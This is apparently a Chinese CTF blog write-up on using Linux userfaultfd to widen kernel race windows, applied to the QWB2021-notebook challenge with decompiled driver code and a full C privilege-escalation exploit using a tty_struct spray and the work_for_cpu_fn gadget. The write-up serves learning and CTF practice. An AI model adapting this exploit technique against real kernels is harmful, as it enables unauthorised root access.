userfaultfd利用
196082 慢慢好起来

其实这应该是kernelpwn基础中的一个,但是一直没有很关心,在最近做一道题目时又提到了这一利用方式,索性就把这玩意给先写了。

简单理解

userfaultfd 并不是一种攻击的名字,它是 Linux 提供的一种让用户自己处理缺页异常的机制,初衷是为了提升开发灵活性,在 kernel pwn 中常被用于提高条件竞争的成功率。比如在如下的操作时

1
copy_from_user(kptr, user_buf, size);

如果在进入函数后,实际拷贝开始前线程被中断换下 CPU,别的线程执行,修改了 kptr 指向的内存块的所有权(比如 kfree 掉了这个内存块),然后再执行拷贝时就可以实现 UAF。这种可能性当然是比较小的,但是如果 user_buf 是一个 mmap 的内存块,并且我们为它注册了 userfaultfd,那么在拷贝时出现缺页异常后此线程会先执行我们注册的处理函数,在处理函数结束前线程一直被暂停,结束后才会执行后面的操作,大大增加了竞争的成功率。

相关知识

页调度与延迟加载

有的内存既不在RAM也不在交换区,例如mmap创建的内存映射页。mmap页在read/write访问之前,实际上还没有创建(还没有映射到实际的物理页),例如:mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE, fd, 0); 内核并未将fd内容拷贝到0x1337000,只是将地址0x1337000映射到文件fd。

当有如下代码访问时:

1
2
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);

若发生对该页的引用,则(1)为0x1337000创建物理帧,(2)从fd读内容到0x1337000,(3)并在页表标记合适的入口,以便识别0x1337000虚地址。如果是堆空间映射,仅第2步不同,只需将对应物理帧清0。

总之,若首次访问mmap创建的页,会耗时很长,会导致上下文切换和当前线程的睡眠。

userfaultfd

我对于他的理解就是,userfaultfd机制是用来处理页缺陷的,并且处理的handle函数我们也是可以控制的。正常的流程一般为下面几步。

Step 1: 创建一个描述符uffd

所有的注册内存区间、配置和最终的缺页处理等就都需要用ioctl来对这个uffd操作。ioctl-userfaultfd支持UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、UFFDIO_COPY、UFFDIO_ZEROPAGE、UFFDIO_WAKE等选项。比如UFFDIO_REGISTER用来向userfaultfd机制注册一个监视区域,这个区域发生缺页时,需要用UFFDIO_COPY来向缺页的地址拷贝自定义数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 2 个用于注册、注销的ioctl选项:
UFFDIO_REGISTER 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER 注销将触发user-fault的内存地址
# 3 个用于处理user-fault事件的ioctl选项:
UFFDIO_COPY 用已知数据填充user-fault页
UFFDIO_ZEROPAGE 将user-fault页填零
UFFDIO_WAKE 用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和
UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充
# 1 个用于配置uffd特殊用途的ioctl选项:
UFFDIO_API 它又包括如下feature可以配置:
UFFD_FEATURE_EVENT_FORK (since Linux 4.11)
UFFD_FEATURE_EVENT_REMAP (since Linux 4.11)
UFFD_FEATURE_EVENT_REMOVE (since Linux 4.11)
UFFD_FEATURE_EVENT_UNMAP (since Linux 4.11)
UFFD_FEATURE_MISSING_HUGETLBFS (since Linux 4.11)
UFFD_FEATURE_MISSING_SHMEM (since Linux 4.11)
UFFD_FEATURE_SIGBUS (since Linux 4.14)
// userfaultfd系统调用创建并返回一个uffd,类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

STEP 2. 用ioctl的UFFDIO_REGISTER选项注册监视区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 注册时要用一个struct uffdio_register结构传递注册信息:
// struct uffdio_range {
// __u64 start; /* Start of range */
// __u64 len; /* Length of range (bytes) */
// };
//
// struct uffdio_register {
// struct uffdio_range range;
// __u64 mode; /* Desired mode of operation (input) */
// __u64 ioctls; /* Available ioctl() operations (output) */
// };

addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 分别是我匿名映射返回的地址和长度,赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

STEP 3. 创建一个处理专用的线程轮询和处理”user-fault”事件

要使用userfaultfd,需要创建一个处理专用的线程轮询和处理”user-fault”事件。主进程中就要调用pthread_create创建这个自定义的handler线程:

1
2
// 主进程中调用pthread_create创建一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);

一个自定义的线程函数举例如下,这里处理的是一个普通的匿名页用户态缺页,我们要做的是把我们一个已有的一个page大小的buffer内容拷贝到缺页的内存地址处。用到了poll函数轮询uffd,并对轮询到的UFFD_EVENT_PAGEFAULT事件(event)用拷贝(ioctl的UFFDIO_COPY选项)进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void * fault_handler_thread(void *arg)
{
// 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
static struct uffd_msg msg;
// ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
struct uffdio_copy uffdio_copy;
uffd = (long) arg;
......
for (;;) { // 此线程不断进行polling,所以是死循环
// poll需要我们构造一个struct pollfd对象
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
poll(&pollfd, 1, -1);
// 读出user-fault相关信息
read(uffd, &msg, sizeof(msg));
// 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件
assert(msg.event == UFFD_EVENT_PAGEFAULT);
// 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
// page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
......
}
}

例题:QWB2021-notebook

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd rootfs.cpio \
-append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
-nographic \
-net user \
-net nic \
-device e1000 \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
-monitor /dev/null 2>/dev/null \
-s

保护开启了smep,smap,kaslr进入系统可以看到还开启了kpti。

题目就是一个菜单堆题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
userarg notearg; // [rsp+0h] [rbp-28h] BYREF

((void (__fastcall *)(file *))_fentry__)(file);
copy_from_user(&notearg, v3, 0x18LL);
if ( cmd == 0x100 )
return noteadd(notearg.idx, notearg.size, notearg.buf);
if ( cmd <= 0x100 )
{
if ( cmd == 0x64 )
return notegift(notearg.buf);
}
else
{
if ( cmd == 0x200 )
return notedel(notearg.idx);
if ( cmd == 0x300 )
return noteedit(notearg.idx, notearg.size, notearg.buf);
}
printk("[x] Unknown ioctl cmd!\n", notearg.size, notearg.buf);
return -100LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall noteadd(size_t idx, size_t size, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t v6; // r14
__int64 v7; // rbx

_fentry__(idx);
if ( idx > 0xF )
{
v7 = -1LL;
printk("[x] Add idx out of range.\n", size);
}
else
{
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
v6 = v5->size;
v5->size = size;
if ( size > 0x60 )
{
v5->size = v6;
v7 = -2LL;
printk("[x] Add size out of range.\n");
}
else
{
copy_from_user(name, v4, 0x100LL);
if ( v5->note )
{
v5->size = v6;
v7 = -3LL;
printk("[x] Add idx is not empty.\n");
}
else
{
v5->note = (void *)_kmalloc(size, 0x24000C0LL);
printk("[+] Add success. %s left a note.\n", name);
v7 = 0LL;
}
}
raw_read_unlock(&lock);
}
return v7;
}

在create函数里,是首先将对应位置的size放到栈上,随后直接把输入的size放到了储存size的地址,并且接着就是一个copy_from_user。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t size; // rax
__int64 v7; // r12
__int64 v8; // rbx

_fentry__(idx);
if ( idx > 0xF )
{
v8 = -1LL;
printk("[x] Edit idx out of range.\n", newsize);
return v8;
}
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
size = v5->size;
v5->size = newsize;
if ( size == newsize )
{
v8 = 1LL;
goto editout;
}
v7 = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(v5->note, newsize, 0x24000C0LL);
copy_from_user(name, v4, 0x100LL);
if ( !v5->size )
{
printk("free in fact");
v5->note = 0LL;
v8 = 0LL;
goto editout;
}
if ( (unsigned __int8)_virt_addr_valid(v7) )
{
v5->note = (void *)v7;
v8 = 2LL;
editout:
raw_read_unlock(&lock);
printk("[o] Edit success. %s edit a note.\n", name);
return v8;
}
printk("[x] Return ptr unvalid.\n");
raw_read_unlock(&lock);
return 3LL;
}

可以看到虽然在create函数存在size的验证,但是在edit函数不存在任何验证,并且一样是在krealloc之后就有一个copy_from_user。

1
2
3
4
5
6
7
8
__int64 __fastcall notegift(void *buf)
{
_fentry__(buf);
printk("[*] The notebook needs to be written from beginning to end.\n");
copy_to_user(buf, notebook, 0x100LL);
printk("[*] For this special year, I give you a gift!\n");
return 100LL;
}

这里的gift函数就是把所有堆地址给泄露出来。

利用分析

那么就上面分析出来的结果可以得出目前的利用思路就是,首先利用userfaultfd机制形成一个UAF的堆块,然后利用结构中含有指针的结构体进行堆喷,那么我们就可以进一步的泄漏出地址出来。下一步就是我们可以修改指针进行栈迁移,我们可以把ROP链写在另外一个堆上面,因为可以泄露堆地址的缘故所以我们可以直接栈迁移到写了ROP链的堆上面。这里使用的结构体是tty_struct,其中有tty_operations是一个类似于vtable的函数表,所以我们利用三个堆块即可完成利用。

上面是常规思路,这里主要写一下新的思路。

内核中存在这样一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

上面函数在编译过后表达的形式其实是:

1
2
3
4
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

该函数位于 workqueue 机制的实现中,只要是开启了多核支持的内核 (CONFIG_SMP)都会包含这个函数的代码。不难注意到,这个函数非常好用,只要能控制第一个参数指向的内存,即可实现带一个任意参数调用任意函数,并把返回值存回第一个参数指向的内存的功能,且该 “gadget” 能干净的返回,执行的过程中完全不用管 SMAP、SMEP 的事情。由于内核中大量的 read / write / ioctl 之类的实现的第一个参数也都恰好是对应的对象本身,可谓是非常的适合这种场景了。考虑到我们提权需要做的事情只是 commit_creds(prepare_kernel_cred(0)),完全可以用两次上述的函数调用原语实现。

所以这里只需要用到两个堆块,第一个堆块我们要形成一个size为0x2e0的UAF堆块,第二个堆块没有要求。使用堆喷让tty_struct喷到我们的UAF堆块,但是我们需要确认他是否成功了,在tty_struct的第一个成员是一个魔数,我们可以利用他进行判断。随后修改tty_operations指针指向另外一个堆块,紧接着根据上面的函数中的偏移修改tty_struct的内容即可

综上,得出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

int fd;

struct userarg
{
long int idx;
long int size;
unsigned long *buf;
};

void ErrExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page, void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL, handler, (void *)uffd);
if (s != 0)
ErrExit("[-] pthread_create");
}

void *userfaultfd_stuck_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] stuck handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] stuck handler unblocked");
pause();
if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] stuck handler done");
return NULL;
}

void create(long int idx, long int size, unsigned long *buf)
{
struct userarg arg;
arg.idx = idx;
arg.size = size;
arg.buf = buf;
ioctl(fd, 0x100, &arg);
}

void delete (long int idx)
{
struct userarg arg;
arg.idx = idx;
ioctl(fd, 0x200, &arg);
}

void edit(long int idx, long int size, unsigned long *buf)
{
struct userarg arg;
arg.idx = idx;
arg.size = size;
arg.buf = buf;
ioctl(fd, 0x300, &arg);
}

void get_chunk(unsigned long *buf)
{
struct userarg arg;
arg.buf = buf;
ioctl(fd, 0x64, &arg);
}

unsigned long *stuck_mapped_memory;

void edit_thread(long int idx)
{
edit(idx, 0, stuck_mapped_memory);
}

void add_thread(long int idx)
{
create(idx, 0x60, stuck_mapped_memory);
}

int tty_fd;

int main()
{
fd = open("/dev/notebook", O_RDWR);
if (fd < 0)
{
printf("[-] Error opening /dev/notebook\n");
exit(-1);
}
stuck_mapped_memory = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
RegisterUserfault(stuck_mapped_memory, userfaultfd_stuck_handler);

char *buf;
char *buf_tty;

buf = malloc(0x1000);
buf_tty = malloc(0x1000);
memset(buf, "a", 0x100);
memset(buf_tty, 0, 0x1000);
create(0, 0x60, buf);
create(1, 0x60, buf);
edit(1, 0x500, buf);
edit(0, 0x2e0, buf);
pthread_t thr_edit, thr_add;
pthread_create(&thr_edit, NULL, edit_thread, 0);
sleep(1);
pthread_create(&thr_add, NULL, add_thread, 0);
sleep(1);

for (int i = 0; i < 20; i++)
{
tty_fd = open("/dev/ptmx", O_RDWR);
if (tty_fd < 0)
{
ErrExit("[-] ptmx open failed!");
}
read(fd, buf_tty, 0);
if (*(unsigned long *)buf_tty == 0x100005401)
{
printf("[+] tty_struct found! fd = %d\n", tty_fd);
break;
}
}
if (*(unsigned long *)buf_tty != 0x100005401)
{
ErrExit("[-] leak failed");
}

unsigned long kernel_base;
unsigned long ptm_unix98_ops_addr;
unsigned long work_for_cpu_fn_addr;
unsigned long commit_creds_addr;
unsigned long prepare_kernel_cred_addr;

ptm_unix98_ops_addr = *(unsigned long *)(buf_tty + 0x18);
if ((ptm_unix98_ops_addr & 0xFFF) == 0x320)
ptm_unix98_ops_addr += 0x120;
kernel_base = ptm_unix98_ops_addr - 0xe8e440;
work_for_cpu_fn_addr = 0x9eb90 + kernel_base;
commit_creds_addr = 0xa9b40 + kernel_base;
prepare_kernel_cred_addr = 0xa9ef0 + kernel_base;

printf("[+] ptm_unix98_ops addr leaked, addr: 0x%lx\n", ptm_unix98_ops_addr);
printf("[+] work_for_cpu_fn addr leaked, addr: 0x%lx\n", work_for_cpu_fn_addr);
printf("[+] prepare_kernel_cred addr leaked, addr: 0x%lx\n", prepare_kernel_cred_addr);

unsigned long chunk_arr[0x100];
get_chunk(chunk_arr);
unsigned long note_0_addr;
unsigned long note_1_addr;
note_0_addr = chunk_arr[0 * 2];
note_1_addr = chunk_arr[1 * 2];
printf("[+] note_1 addr leaked, addr: 0x%lx\n", note_1_addr);

*(unsigned long *)(buf_tty) = 0x100005401;
*(unsigned long *)(buf_tty + 3 * 8) = note_1_addr;
*(unsigned long *)(buf_tty + 4 * 8) = prepare_kernel_cred_addr;
*(unsigned long *)(buf_tty + 5 * 8) = 0;
write(fd, buf_tty, 0);

unsigned long fake_operations[0x100];
fake_operations[7] = work_for_cpu_fn_addr;
fake_operations[10] = work_for_cpu_fn_addr;
fake_operations[12] = work_for_cpu_fn_addr;
write(fd, fake_operations, 1);
ioctl(tty_fd, 233, 233);

read(fd, buf_tty, 0);
printf("[+] prepare_kernel_cred finished, return 0x%lx\n", *(unsigned long *)(buf_tty + 6 * 8));

*(unsigned long *)(buf_tty) = 0x100005401;
*(unsigned long *)(buf_tty + 3 * 8) = note_1_addr;
*(unsigned long *)(buf_tty + 4 * 8) = commit_creds_addr;
*(unsigned long *)(buf_tty + 5 * 8) = *(unsigned long *)(buf_tty + 6 * 8);
write(fd, buf_tty, 0);
sleep(1);
ioctl(tty_fd, 233, 233);
system("/bin/sh");

return 0;
}

image-20220816181101536


参考链接:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/userfaultfd/#_1

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量